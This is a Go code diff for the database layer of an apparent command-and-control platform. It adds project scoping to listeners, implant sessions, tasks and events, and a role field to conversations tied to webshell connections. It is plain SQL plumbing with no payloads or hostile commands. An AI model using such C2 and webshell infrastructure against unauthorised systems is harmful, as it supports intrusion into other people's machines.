type C2Listener struct {
|
||||
ID string `json:"id"`
|
||||
ProjectID string `json:"project_id,omitempty"`
|
||||
Name string `json:"name"`
|
||||
Type string `json:"type"` // tcp_reverse|http_beacon|https_beacon|websocket|dns
|
||||
BindHost string `json:"bindHost"` // 默认 127.0.0.1
|
||||
@@ -165,12 +166,12 @@ func (db *DB) CreateC2Listener(l *C2Listener) error {
|
||||
l.ConfigJSON = "{}"
|
||||
}
|
||||
query := `
|
||||
INSERT INTO c2_listeners (id, name, type, bind_host, bind_port, profile_id, encryption_key,
|
||||
INSERT INTO c2_listeners (id, project_id, name, type, bind_host, bind_port, profile_id, encryption_key,
|
||||
implant_token, status, config_json, remark, owner_user_id, created_at, started_at, last_error)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
|
||||
`
|
||||
_, err := db.Exec(query,
|
||||
l.ID, l.Name, l.Type, l.BindHost, l.BindPort, l.ProfileID, l.EncryptionKey,
|
||||
l.ID, strings.TrimSpace(l.ProjectID), l.Name, l.Type, l.BindHost, l.BindPort, l.ProfileID, l.EncryptionKey,
|
||||
l.ImplantToken, l.Status, l.ConfigJSON, l.Remark, l.OwnerUserID, l.CreatedAt, l.StartedAt, l.LastError,
|
||||
)
|
||||
if err != nil {
|
||||
@@ -190,12 +191,12 @@ func (db *DB) UpdateC2Listener(l *C2Listener) error {
|
||||
}
|
||||
query := `
|
||||
UPDATE c2_listeners SET
|
||||
name = ?, type = ?, bind_host = ?, bind_port = ?, profile_id = ?, encryption_key = ?,
|
||||
project_id = ?, name = ?, type = ?, bind_host = ?, bind_port = ?, profile_id = ?, encryption_key = ?,
|
||||
implant_token = ?, status = ?, config_json = ?, remark = ?, owner_user_id = ?, started_at = ?, last_error = ?
|
||||
WHERE id = ?
|
||||
`
|
||||
res, err := db.Exec(query,
|
||||
l.Name, l.Type, l.BindHost, l.BindPort, l.ProfileID, l.EncryptionKey,
|
||||
strings.TrimSpace(l.ProjectID), l.Name, l.Type, l.BindHost, l.BindPort, l.ProfileID, l.EncryptionKey,
|
||||
l.ImplantToken, l.Status, l.ConfigJSON, l.Remark, l.OwnerUserID, l.StartedAt, l.LastError, l.ID,
|
||||
)
|
||||
if err != nil {
|
||||
@@ -229,7 +230,7 @@ func (db *DB) SetC2ListenerStatus(id, status, lastError string, startedAt *time.
|
||||
// GetC2Listener 单条查询
|
||||
func (db *DB) GetC2Listener(id string) (*C2Listener, error) {
|
||||
query := `
|
||||
SELECT id, name, type, bind_host, bind_port, COALESCE(profile_id, ''),
|
||||
SELECT id, COALESCE(project_id, ''), name, type, bind_host, bind_port, COALESCE(profile_id, ''),
|
||||
COALESCE(encryption_key, ''), COALESCE(implant_token, ''), status,
|
||||
COALESCE(config_json, '{}'), COALESCE(remark, ''),
|
||||
COALESCE(owner_user_id, ''), created_at, started_at, COALESCE(last_error, '')
|
||||
@@ -238,7 +239,7 @@ func (db *DB) GetC2Listener(id string) (*C2Listener, error) {
|
||||
var l C2Listener
|
||||
var startedAt sql.NullTime
|
||||
err := db.QueryRow(query, id).Scan(
|
||||
&l.ID, &l.Name, &l.Type, &l.BindHost, &l.BindPort, &l.ProfileID,
|
||||
&l.ID, &l.ProjectID, &l.Name, &l.Type, &l.BindHost, &l.BindPort, &l.ProfileID,
|
||||
&l.EncryptionKey, &l.ImplantToken, &l.Status,
|
||||
&l.ConfigJSON, &l.Remark,
|
||||
&l.OwnerUserID, &l.CreatedAt, &startedAt, &l.LastError,
|
||||
@@ -259,7 +260,7 @@ func (db *DB) GetC2Listener(id string) (*C2Listener, error) {
|
||||
// ListC2Listeners 全量列表,按创建时间倒序
|
||||
func (db *DB) ListC2Listeners() ([]*C2Listener, error) {
|
||||
query := `
|
||||
SELECT id, name, type, bind_host, bind_port, COALESCE(profile_id, ''),
|
||||
SELECT id, COALESCE(project_id, ''), name, type, bind_host, bind_port, COALESCE(profile_id, ''),
|
||||
COALESCE(encryption_key, ''), COALESCE(implant_token, ''), status,
|
||||
COALESCE(config_json, '{}'), COALESCE(remark, ''),
|
||||
COALESCE(owner_user_id, ''), created_at, started_at, COALESCE(last_error, '')
|
||||
@@ -275,7 +276,7 @@ func (db *DB) ListC2Listeners() ([]*C2Listener, error) {
|
||||
var l C2Listener
|
||||
var startedAt sql.NullTime
|
||||
if err := rows.Scan(
|
||||
&l.ID, &l.Name, &l.Type, &l.BindHost, &l.BindPort, &l.ProfileID,
|
||||
&l.ID, &l.ProjectID, &l.Name, &l.Type, &l.BindHost, &l.BindPort, &l.ProfileID,
|
||||
&l.EncryptionKey, &l.ImplantToken, &l.Status,
|
||||
&l.ConfigJSON, &l.Remark,
|
||||
&l.OwnerUserID, &l.CreatedAt, &startedAt, &l.LastError,
|
||||
@@ -293,12 +294,18 @@ func (db *DB) ListC2Listeners() ([]*C2Listener, error) {
|
||||
}
|
||||
|
||||
// ListC2ListenersForAccess lists listeners visible to the resolved RBAC scope.
|
||||
func (db *DB) ListC2ListenersForAccess(access RBACListAccess) ([]*C2Listener, error) {
|
||||
func (db *DB) ListC2ListenersForAccess(access RBACListAccess, projectID string) ([]*C2Listener, error) {
|
||||
conditions := []string{"1=1"}
|
||||
args := []interface{}{}
|
||||
if projectID = strings.TrimSpace(projectID); projectID == ProjectFilterUnbound {
|
||||
conditions = append(conditions, "COALESCE(project_id, '') = ''")
|
||||
} else if projectID != "" {
|
||||
conditions = append(conditions, "COALESCE(project_id, '') = ?")
|
||||
args = append(args, projectID)
|
||||
}
|
||||
appendC2ListenerAccessFilter(&conditions, &args, access)
|
||||
query := `
|
||||
SELECT id, name, type, bind_host, bind_port, COALESCE(profile_id, ''),
|
||||
SELECT id, COALESCE(project_id, ''), name, type, bind_host, bind_port, COALESCE(profile_id, ''),
|
||||
COALESCE(encryption_key, ''), COALESCE(implant_token, ''), status,
|
||||
COALESCE(config_json, '{}'), COALESCE(remark, ''),
|
||||
COALESCE(owner_user_id, ''), created_at, started_at, COALESCE(last_error, '')
|
||||
@@ -316,7 +323,7 @@ func (db *DB) ListC2ListenersForAccess(access RBACListAccess) ([]*C2Listener, er
|
||||
var l C2Listener
|
||||
var startedAt sql.NullTime
|
||||
if err := rows.Scan(
|
||||
&l.ID, &l.Name, &l.Type, &l.BindHost, &l.BindPort, &l.ProfileID,
|
||||
&l.ID, &l.ProjectID, &l.Name, &l.Type, &l.BindHost, &l.BindPort, &l.ProfileID,
|
||||
&l.EncryptionKey, &l.ImplantToken, &l.Status,
|
||||
&l.ConfigJSON, &l.Remark, &l.OwnerUserID,
|
||||
&l.CreatedAt, &startedAt, &l.LastError,
|
||||
@@ -535,6 +542,7 @@ func (db *DB) queryC2SessionWhere(whereClause string, args ...interface{}) (*C2S
|
||||
// ListC2SessionsFilter 列表过滤参数
|
||||
type ListC2SessionsFilter struct {
|
||||
ListenerID string
|
||||
ProjectID string
|
||||
Status string // active|sleeping|dead|killed;空表示全部
|
||||
OS string
|
||||
Search string // 模糊匹配 hostname/username/internal_ip
|
||||
@@ -550,6 +558,18 @@ func (db *DB) ListC2Sessions(filter ListC2SessionsFilter) ([]*C2Session, error)
|
||||
conditions = append(conditions, "listener_id = ?")
|
||||
args = append(args, filter.ListenerID)
|
||||
}
|
||||
if strings.TrimSpace(filter.ProjectID) == ProjectFilterUnbound {
|
||||
conditions = append(conditions, `EXISTS (
|
||||
SELECT 1 FROM c2_listeners l
|
||||
WHERE l.id = c2_sessions.listener_id AND COALESCE(l.project_id, '') = ''
|
||||
)`)
|
||||
} else if strings.TrimSpace(filter.ProjectID) != "" {
|
||||
conditions = append(conditions, `EXISTS (
|
||||
SELECT 1 FROM c2_listeners l
|
||||
WHERE l.id = c2_sessions.listener_id AND COALESCE(l.project_id, '') = ?
|
||||
)`)
|
||||
args = append(args, strings.TrimSpace(filter.ProjectID))
|
||||
}
|
||||
if filter.Status != "" {
|
||||
conditions = append(conditions, "status = ?")
|
||||
args = append(args, filter.Status)
|
||||
@@ -645,6 +665,18 @@ func buildC2SessionsWhere(filter ListC2SessionsFilter) ([]string, []interface{})
|
||||
conditions = append(conditions, "listener_id = ?")
|
||||
args = append(args, filter.ListenerID)
|
||||
}
|
||||
if strings.TrimSpace(filter.ProjectID) == ProjectFilterUnbound {
|
||||
conditions = append(conditions, `EXISTS (
|
||||
SELECT 1 FROM c2_listeners l
|
||||
WHERE l.id = c2_sessions.listener_id AND COALESCE(l.project_id, '') = ''
|
||||
)`)
|
||||
} else if strings.TrimSpace(filter.ProjectID) != "" {
|
||||
conditions = append(conditions, `EXISTS (
|
||||
SELECT 1 FROM c2_listeners l
|
||||
WHERE l.id = c2_sessions.listener_id AND COALESCE(l.project_id, '') = ?
|
||||
)`)
|
||||
args = append(args, strings.TrimSpace(filter.ProjectID))
|
||||
}
|
||||
if filter.Status != "" {
|
||||
conditions = append(conditions, "status = ?")
|
||||
args = append(args, filter.Status)
|
||||
@@ -947,7 +979,10 @@ func (db *DB) GetC2Task(id string) (*C2Task, error) {
|
||||
// ListC2TasksFilter 任务过滤
|
||||
type ListC2TasksFilter struct {
|
||||
SessionID string
|
||||
ProjectID string
|
||||
Status string
|
||||
TaskType string
|
||||
Since *time.Time
|
||||
Limit int
|
||||
Offset int
|
||||
}
|
||||
@@ -959,10 +994,32 @@ func buildC2TasksWhere(filter ListC2TasksFilter) (where string, args []interface
|
||||
conditions = append(conditions, "session_id = ?")
|
||||
args = append(args, filter.SessionID)
|
||||
}
|
||||
if strings.TrimSpace(filter.ProjectID) == ProjectFilterUnbound {
|
||||
conditions = append(conditions, `EXISTS (
|
||||
SELECT 1 FROM c2_sessions s
|
||||
JOIN c2_listeners l ON l.id = s.listener_id
|
||||
WHERE s.id = c2_tasks.session_id AND COALESCE(l.project_id, '') = ''
|
||||
)`)
|
||||
} else if strings.TrimSpace(filter.ProjectID) != "" {
|
||||
conditions = append(conditions, `EXISTS (
|
||||
SELECT 1 FROM c2_sessions s
|
||||
JOIN c2_listeners l ON l.id = s.listener_id
|
||||
WHERE s.id = c2_tasks.session_id AND COALESCE(l.project_id, '') = ?
|
||||
)`)
|
||||
args = append(args, strings.TrimSpace(filter.ProjectID))
|
||||
}
|
||||
if filter.Status != "" {
|
||||
conditions = append(conditions, "status = ?")
|
||||
args = append(args, filter.Status)
|
||||
}
|
||||
if strings.TrimSpace(filter.TaskType) != "" {
|
||||
conditions = append(conditions, "task_type = ?")
|
||||
args = append(args, strings.TrimSpace(filter.TaskType))
|
||||
}
|
||||
if filter.Since != nil {
|
||||
conditions = append(conditions, sqliteEpochGE("created_at", ">="))
|
||||
args = append(args, formatSQLiteUTC(*filter.Since))
|
||||
}
|
||||
return strings.Join(conditions, " AND "), args
|
||||
}
|
||||
|
||||
@@ -1016,6 +1073,43 @@ func (db *DB) CountC2TasksForAccess(filter ListC2TasksFilter, access RBACListAcc
|
||||
return n, err
|
||||
}
|
||||
|
||||
// CountC2TasksByStatusForAccess 与 ListC2Tasks 相同过滤条件下按状态统计
|
||||
func (db *DB) CountC2TasksByStatusForAccess(filter ListC2TasksFilter, access RBACListAccess) (map[string]int64, error) {
|
||||
where, args := buildC2TasksWhereForAccess(filter, access)
|
||||
query := `SELECT status, COUNT(*) FROM c2_tasks WHERE ` + where + ` GROUP BY status`
|
||||
rows, err := db.Query(query, args...)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
counts := map[string]int64{
|
||||
"queued": 0,
|
||||
"sent": 0,
|
||||
"running": 0,
|
||||
"success": 0,
|
||||
"failed": 0,
|
||||
"cancelled": 0,
|
||||
"pending": 0,
|
||||
}
|
||||
var legacyPending int64
|
||||
for rows.Next() {
|
||||
var status string
|
||||
var n int64
|
||||
if err := rows.Scan(&status, &n); err != nil {
|
||||
continue
|
||||
}
|
||||
if status == "pending" {
|
||||
legacyPending = n
|
||||
continue
|
||||
}
|
||||
if _, ok := counts[status]; ok {
|
||||
counts[status] = n
|
||||
}
|
||||
}
|
||||
counts["pending"] = counts["queued"] + counts["sent"] + counts["running"] + legacyPending
|
||||
return counts, rows.Err()
|
||||
}
|
||||
|
||||
// CountC2TasksQueuedOrPending 统计 queued/pending 状态任务数(仪表盘「待审任务」)
|
||||
func (db *DB) CountC2TasksQueuedOrPending(sessionID string) (int64, error) {
|
||||
conditions := []string{"status IN ('queued', 'pending')"}
|
||||
@@ -1030,8 +1124,8 @@ func (db *DB) CountC2TasksQueuedOrPending(sessionID string) (int64, error) {
|
||||
return n, err
|
||||
}
|
||||
|
||||
func (db *DB) CountC2TasksQueuedOrPendingForAccess(sessionID string, access RBACListAccess) (int64, error) {
|
||||
filter := ListC2TasksFilter{SessionID: sessionID}
|
||||
func (db *DB) CountC2TasksQueuedOrPendingForAccess(sessionID, projectID string, access RBACListAccess) (int64, error) {
|
||||
filter := ListC2TasksFilter{SessionID: sessionID, ProjectID: projectID}
|
||||
where, args := buildC2TasksWhereForAccess(filter, access)
|
||||
query := `SELECT COUNT(*) FROM c2_tasks WHERE status IN ('queued', 'pending') AND ` + where
|
||||
var n int64
|
||||
@@ -1387,7 +1481,9 @@ func (db *DB) AppendC2Event(e *C2Event) error {
|
||||
return errors.New("event id is required")
|
||||
}
|
||||
if e.CreatedAt.IsZero() {
|
||||
e.CreatedAt = time.Now()
|
||||
e.CreatedAt = time.Now().UTC()
|
||||
} else {
|
||||
e.CreatedAt = e.CreatedAt.UTC()
|
||||
}
|
||||
if strings.TrimSpace(e.Level) == "" {
|
||||
e.Level = "info"
|
||||
@@ -1402,7 +1498,7 @@ func (db *DB) AppendC2Event(e *C2Event) error {
|
||||
INSERT INTO c2_events (id, level, category, session_id, task_id, message, data_json, created_at)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?)
|
||||
`
|
||||
_, err := db.Exec(query, e.ID, e.Level, e.Category, e.SessionID, e.TaskID, e.Message, dataJSON, e.CreatedAt)
|
||||
_, err := db.Exec(query, e.ID, e.Level, e.Category, e.SessionID, e.TaskID, e.Message, dataJSON, formatSQLiteUTC(e.CreatedAt))
|
||||
return err
|
||||
}
|
||||
|
||||
@@ -1410,6 +1506,7 @@ func (db *DB) AppendC2Event(e *C2Event) error {
|
||||
type ListC2EventsFilter struct {
|
||||
Level string
|
||||
Category string
|
||||
ProjectID string
|
||||
SessionID string
|
||||
TaskID string
|
||||
Since *time.Time
|
||||
@@ -1428,6 +1525,49 @@ func buildC2EventsWhere(filter ListC2EventsFilter) (where string, args []interfa
|
||||
conditions = append(conditions, "category = ?")
|
||||
args = append(args, filter.Category)
|
||||
}
|
||||
if strings.TrimSpace(filter.ProjectID) == ProjectFilterUnbound {
|
||||
conditions = append(conditions, `(
|
||||
EXISTS (
|
||||
SELECT 1 FROM c2_sessions s
|
||||
JOIN c2_listeners l ON l.id = s.listener_id
|
||||
WHERE s.id = c2_events.session_id AND COALESCE(l.project_id, '') = ''
|
||||
)
|
||||
OR EXISTS (
|
||||
SELECT 1 FROM c2_tasks t
|
||||
JOIN c2_sessions s ON s.id = t.session_id
|
||||
JOIN c2_listeners l ON l.id = s.listener_id
|
||||
WHERE t.id = c2_events.task_id AND COALESCE(l.project_id, '') = ''
|
||||
)
|
||||
OR EXISTS (
|
||||
SELECT 1 FROM c2_listeners l
|
||||
WHERE json_valid(c2_events.data_json)
|
||||
AND l.id = json_extract(c2_events.data_json, '$.listener_id')
|
||||
AND COALESCE(l.project_id, '') = ''
|
||||
)
|
||||
)`)
|
||||
} else if strings.TrimSpace(filter.ProjectID) != "" {
|
||||
conditions = append(conditions, `(
|
||||
EXISTS (
|
||||
SELECT 1 FROM c2_sessions s
|
||||
JOIN c2_listeners l ON l.id = s.listener_id
|
||||
WHERE s.id = c2_events.session_id AND COALESCE(l.project_id, '') = ?
|
||||
)
|
||||
OR EXISTS (
|
||||
SELECT 1 FROM c2_tasks t
|
||||
JOIN c2_sessions s ON s.id = t.session_id
|
||||
JOIN c2_listeners l ON l.id = s.listener_id
|
||||
WHERE t.id = c2_events.task_id AND COALESCE(l.project_id, '') = ?
|
||||
)
|
||||
OR EXISTS (
|
||||
SELECT 1 FROM c2_listeners l
|
||||
WHERE json_valid(c2_events.data_json)
|
||||
AND l.id = json_extract(c2_events.data_json, '$.listener_id')
|
||||
AND COALESCE(l.project_id, '') = ?
|
||||
)
|
||||
)`)
|
||||
pid := strings.TrimSpace(filter.ProjectID)
|
||||
args = append(args, pid, pid, pid)
|
||||
}
|
||||
if filter.SessionID != "" {
|
||||
conditions = append(conditions, "session_id = ?")
|
||||
args = append(args, filter.SessionID)
|
||||
@@ -1437,8 +1577,8 @@ func buildC2EventsWhere(filter ListC2EventsFilter) (where string, args []interfa
|
||||
args = append(args, filter.TaskID)
|
||||
}
|
||||
if filter.Since != nil {
|
||||
conditions = append(conditions, "created_at >= ?")
|
||||
args = append(args, *filter.Since)
|
||||
conditions = append(conditions, sqliteEpochGE("created_at", ">="))
|
||||
args = append(args, formatSQLiteUTC(*filter.Since))
|
||||
}
|
||||
return strings.Join(conditions, " AND "), args
|
||||
}
|
||||
@@ -1510,6 +1650,33 @@ func (db *DB) CountC2EventsForAccess(filter ListC2EventsFilter, access RBACListA
|
||||
return n, err
|
||||
}
|
||||
|
||||
// CountC2EventsByLevelForAccess 与 ListC2Events 相同过滤条件下按级别统计
|
||||
func (db *DB) CountC2EventsByLevelForAccess(filter ListC2EventsFilter, access RBACListAccess) (map[string]int64, error) {
|
||||
where, args := buildC2EventsWhereForAccess(filter, access)
|
||||
query := `SELECT level, COUNT(*) FROM c2_events WHERE ` + where + ` GROUP BY level`
|
||||
rows, err := db.Query(query, args...)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
counts := map[string]int64{
|
||||
"info": 0,
|
||||
"warn": 0,
|
||||
"critical": 0,
|
||||
}
|
||||
for rows.Next() {
|
||||
var level string
|
||||
var n int64
|
||||
if err := rows.Scan(&level, &n); err != nil {
|
||||
continue
|
||||
}
|
||||
if _, ok := counts[level]; ok {
|
||||
counts[level] = n
|
||||
}
|
||||
}
|
||||
return counts, rows.Err()
|
||||
}
|
||||
|
||||
// ListC2Events 事件查询,按创建时间倒序
|
||||
func (db *DB) ListC2Events(filter ListC2EventsFilter) ([]*C2Event, error) {
|
||||
where, args := buildC2EventsWhere(filter)
|
||||
|
||||
@@ -22,6 +22,7 @@ type Conversation struct {
|
||||
ID string `json:"id"`
|
||||
Title string `json:"title"`
|
||||
ProjectID string `json:"projectId,omitempty"`
|
||||
RoleName string `json:"roleName,omitempty"`
|
||||
Pinned bool `json:"pinned"`
|
||||
CreatedAt time.Time `json:"createdAt"`
|
||||
UpdatedAt time.Time `json:"updatedAt"`
|
||||
@@ -57,29 +58,30 @@ func (db *DB) CreateConversationWithWebshell(webshellConnectionID, title string,
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
roleName := normalizeConversationRoleName(meta.RoleName)
|
||||
|
||||
var err error
|
||||
wsID := strings.TrimSpace(webshellConnectionID)
|
||||
switch {
|
||||
case wsID != "" && projectID != "":
|
||||
_, err = db.Exec(
|
||||
"INSERT INTO conversations (id, title, created_at, updated_at, webshell_connection_id, project_id) VALUES (?, ?, ?, ?, ?, ?)",
|
||||
id, title, now, now, wsID, projectID,
|
||||
"INSERT INTO conversations (id, title, created_at, updated_at, webshell_connection_id, project_id, role_name) VALUES (?, ?, ?, ?, ?, ?, ?)",
|
||||
id, title, now, now, wsID, projectID, roleName,
|
||||
)
|
||||
case wsID != "":
|
||||
_, err = db.Exec(
|
||||
"INSERT INTO conversations (id, title, created_at, updated_at, webshell_connection_id) VALUES (?, ?, ?, ?, ?)",
|
||||
id, title, now, now, wsID,
|
||||
"INSERT INTO conversations (id, title, created_at, updated_at, webshell_connection_id, role_name) VALUES (?, ?, ?, ?, ?, ?)",
|
||||
id, title, now, now, wsID, roleName,
|
||||
)
|
||||
case projectID != "":
|
||||
_, err = db.Exec(
|
||||
"INSERT INTO conversations (id, title, created_at, updated_at, project_id) VALUES (?, ?, ?, ?, ?)",
|
||||
id, title, now, now, projectID,
|
||||
"INSERT INTO conversations (id, title, created_at, updated_at, project_id, role_name) VALUES (?, ?, ?, ?, ?, ?)",
|
||||
id, title, now, now, projectID, roleName,
|
||||
)
|
||||
default:
|
||||
_, err = db.Exec(
|
||||
"INSERT INTO conversations (id, title, created_at, updated_at) VALUES (?, ?, ?, ?)",
|
||||
id, title, now, now,
|
||||
"INSERT INTO conversations (id, title, created_at, updated_at, role_name) VALUES (?, ?, ?, ?, ?)",
|
||||
id, title, now, now, roleName,
|
||||
)
|
||||
}
|
||||
if err != nil {
|
||||
@@ -90,6 +92,7 @@ func (db *DB) CreateConversationWithWebshell(webshellConnectionID, title string,
|
||||
ID: id,
|
||||
Title: title,
|
||||
ProjectID: projectID,
|
||||
RoleName: roleName,
|
||||
CreatedAt: now,
|
||||
UpdatedAt: now,
|
||||
}
|
||||
@@ -236,10 +239,11 @@ func (db *DB) GetConversation(id string) (*Conversation, error) {
|
||||
var pinned int
|
||||
|
||||
var projectID sql.NullString
|
||||
var roleName sql.NullString
|
||||
err := db.QueryRow(
|
||||
"SELECT id, title, pinned, created_at, updated_at, project_id FROM conversations WHERE id = ?",
|
||||
"SELECT id, title, pinned, created_at, updated_at, project_id, role_name FROM conversations WHERE id = ?",
|
||||
id,
|
||||
).Scan(&conv.ID, &conv.Title, &pinned, &createdAt, &updatedAt, &projectID)
|
||||
).Scan(&conv.ID, &conv.Title, &pinned, &createdAt, &updatedAt, &projectID, &roleName)
|
||||
if err != nil {
|
||||
if err == sql.ErrNoRows {
|
||||
return nil, fmt.Errorf("对话不存在")
|
||||
@@ -249,6 +253,9 @@ func (db *DB) GetConversation(id string) (*Conversation, error) {
|
||||
if projectID.Valid {
|
||||
conv.ProjectID = strings.TrimSpace(projectID.String)
|
||||
}
|
||||
if roleName.Valid {
|
||||
conv.RoleName = normalizeConversationRoleName(roleName.String)
|
||||
}
|
||||
|
||||
// 尝试多种时间格式解析
|
||||
var err1, err2 error
|
||||
@@ -322,10 +329,11 @@ func (db *DB) GetConversationLite(id string) (*Conversation, error) {
|
||||
var pinned int
|
||||
|
||||
var projectID sql.NullString
|
||||
var roleName sql.NullString
|
||||
err := db.QueryRow(
|
||||
"SELECT id, title, pinned, created_at, updated_at, project_id FROM conversations WHERE id = ?",
|
||||
"SELECT id, title, pinned, created_at, updated_at, project_id, role_name FROM conversations WHERE id = ?",
|
||||
id,
|
||||
).Scan(&conv.ID, &conv.Title, &pinned, &createdAt, &updatedAt, &projectID)
|
||||
).Scan(&conv.ID, &conv.Title, &pinned, &createdAt, &updatedAt, &projectID, &roleName)
|
||||
if err != nil {
|
||||
if err == sql.ErrNoRows {
|
||||
return nil, fmt.Errorf("对话不存在")
|
||||
@@ -335,6 +343,9 @@ func (db *DB) GetConversationLite(id string) (*Conversation, error) {
|
||||
if projectID.Valid {
|
||||
conv.ProjectID = strings.TrimSpace(projectID.String)
|
||||
}
|
||||
if roleName.Valid {
|
||||
conv.RoleName = normalizeConversationRoleName(roleName.String)
|
||||
}
|
||||
|
||||
// 尝试多种时间格式解析
|
||||
var err1, err2 error
|
||||
@@ -365,6 +376,26 @@ func (db *DB) GetConversationLite(id string) (*Conversation, error) {
|
||||
return &conv, nil
|
||||
}
|
||||
|
||||
func normalizeConversationRoleName(roleName string) string {
|
||||
roleName = strings.TrimSpace(roleName)
|
||||
if roleName == "" {
|
||||
return "默认"
|
||||
}
|
||||
return roleName
|
||||
}
|
||||
|
||||
func (db *DB) SetConversationRoleName(id, roleName string) error {
|
||||
roleName = normalizeConversationRoleName(roleName)
|
||||
_, err := db.Exec(
|
||||
"UPDATE conversations SET role_name = ?, updated_at = ? WHERE id = ?",
|
||||
roleName, time.Now(), id,
|
||||
)
|
||||
if err != nil {
|
||||
return fmt.Errorf("更新对话角色失败: %w", err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func conversationProjectIDColumn(alias string) string {
|
||||
if alias != "" {
|
||||
return alias + ".project_id"
|
||||
@@ -489,7 +520,7 @@ func (db *DB) ListConversations(limit, offset int, search, sortBy, projectID str
|
||||
where, args = appendConversationProjectFilter(where, args, projectID, "c")
|
||||
args = append(args, limit, offset)
|
||||
rows, err = db.Query(
|
||||
`SELECT c.id, c.title, COALESCE(c.pinned, 0), c.created_at, c.updated_at, c.project_id
|
||||
`SELECT c.id, c.title, COALESCE(c.pinned, 0), c.created_at, c.updated_at, c.project_id, c.role_name
|
||||
FROM conversations c`+where+`
|
||||
`+orderClause+`
|
||||
LIMIT ? OFFSET ?`,
|
||||
@@ -505,7 +536,7 @@ func (db *DB) ListConversations(limit, offset int, search, sortBy, projectID str
|
||||
}
|
||||
args = append(args, limit, offset)
|
||||
rows, err = db.Query(
|
||||
"SELECT id, title, COALESCE(pinned, 0), created_at, updated_at, project_id FROM conversations"+where+" "+orderClause+" LIMIT ? OFFSET ?",
|
||||
"SELECT id, title, COALESCE(pinned, 0), created_at, updated_at, project_id, role_name FROM conversations"+where+" "+orderClause+" LIMIT ? OFFSET ?",
|
||||
args...,
|
||||
)
|
||||
}
|
||||
@@ -514,45 +545,7 @@ func (db *DB) ListConversations(limit, offset int, search, sortBy, projectID str
|
||||
return nil, fmt.Errorf("查询对话列表失败: %w", err)
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
var conversations []*Conversation
|
||||
for rows.Next() {
|
||||
var conv Conversation
|
||||
var createdAt, updatedAt string
|
||||
var pinned int
|
||||
var projectID sql.NullString
|
||||
|
||||
if err := rows.Scan(&conv.ID, &conv.Title, &pinned, &createdAt, &updatedAt, &projectID); err != nil {
|
||||
return nil, fmt.Errorf("扫描对话失败: %w", err)
|
||||
}
|
||||
if projectID.Valid {
|
||||
conv.ProjectID = strings.TrimSpace(projectID.String)
|
||||
}
|
||||
|
||||
// 尝试多种时间格式解析
|
||||
var err1, err2 error
|
||||
conv.CreatedAt, err1 = time.Parse("2006-01-02 15:04:05.999999999-07:00", createdAt)
|
||||
if err1 != nil {
|
||||
conv.CreatedAt, err1 = time.Parse("2006-01-02 15:04:05", createdAt)
|
||||
}
|
||||
if err1 != nil {
|
||||
conv.CreatedAt, _ = time.Parse(time.RFC3339, createdAt)
|
||||
}
|
||||
|
||||
conv.UpdatedAt, err2 = time.Parse("2006-01-02 15:04:05.999999999-07:00", updatedAt)
|
||||
if err2 != nil {
|
||||
conv.UpdatedAt, err2 = time.Parse("2006-01-02 15:04:05", updatedAt)
|
||||
}
|
||||
if err2 != nil {
|
||||
conv.UpdatedAt, _ = time.Parse(time.RFC3339, updatedAt)
|
||||
}
|
||||
|
||||
conv.Pinned = pinned != 0
|
||||
|
||||
conversations = append(conversations, &conv)
|
||||
}
|
||||
|
||||
return conversations, nil
|
||||
return scanConversationRows(rows)
|
||||
}
|
||||
|
||||
func (db *DB) ListConversationsForAccess(limit, offset int, search, sortBy, projectID, userID, scope string) ([]*Conversation, error) {
|
||||
@@ -571,7 +564,7 @@ func (db *DB) ListConversationsForAccess(limit, offset int, search, sortBy, proj
|
||||
where, args = appendConversationAccessFilter(where, args, userID, scope, "c")
|
||||
args = append(args, limit, offset)
|
||||
rows, err = db.Query(
|
||||
`SELECT c.id, c.title, COALESCE(c.pinned, 0), c.created_at, c.updated_at, c.project_id
|
||||
`SELECT c.id, c.title, COALESCE(c.pinned, 0), c.created_at, c.updated_at, c.project_id, c.role_name
|
||||
FROM conversations c`+where+`
|
||||
`+orderClause+`
|
||||
LIMIT ? OFFSET ?`, args...)
|
||||
@@ -586,7 +579,7 @@ func (db *DB) ListConversationsForAccess(limit, offset int, search, sortBy, proj
|
||||
}
|
||||
args = append(args, limit, offset)
|
||||
rows, err = db.Query(
|
||||
"SELECT id, title, COALESCE(pinned, 0), created_at, updated_at, project_id FROM conversations"+where+" "+orderClause+" LIMIT ? OFFSET ?",
|
||||
"SELECT id, title, COALESCE(pinned, 0), created_at, updated_at, project_id, role_name FROM conversations"+where+" "+orderClause+" LIMIT ? OFFSET ?",
|
||||
args...)
|
||||
}
|
||||
if err != nil {
|
||||
@@ -603,12 +596,16 @@ func scanConversationRows(rows *sql.Rows) ([]*Conversation, error) {
|
||||
var createdAt, updatedAt string
|
||||
var pinned int
|
||||
var projectID sql.NullString
|
||||
if err := rows.Scan(&conv.ID, &conv.Title, &pinned, &createdAt, &updatedAt, &projectID); err != nil {
|
||||
var roleName sql.NullString
|
||||
if err := rows.Scan(&conv.ID, &conv.Title, &pinned, &createdAt, &updatedAt, &projectID, &roleName); err != nil {
|
||||
return nil, fmt.Errorf("扫描对话失败: %w", err)
|
||||
}
|
||||
if projectID.Valid {
|
||||
conv.ProjectID = strings.TrimSpace(projectID.String)
|
||||
}
|
||||
if roleName.Valid {
|
||||
conv.RoleName = normalizeConversationRoleName(roleName.String)
|
||||
}
|
||||
var err1, err2 error
|
||||
conv.CreatedAt, err1 = time.Parse("2006-01-02 15:04:05.999999999-07:00", createdAt)
|
||||
if err1 != nil {
|
||||
@@ -668,7 +665,7 @@ func (db *DB) ListUngroupedConversations(limit, offset int, sortBy, projectID st
|
||||
where, args = appendConversationProjectFilter(where, args, projectID, "c")
|
||||
args = append(args, limit, offset)
|
||||
rows, err := db.Query(
|
||||
`SELECT c.id, c.title, COALESCE(c.pinned, 0), c.created_at, c.updated_at, c.project_id `+
|
||||
`SELECT c.id, c.title, COALESCE(c.pinned, 0), c.created_at, c.updated_at, c.project_id, c.role_name `+
|
||||
where+`
|
||||
`+orderClause+`
|
||||
LIMIT ? OFFSET ?`,
|
||||
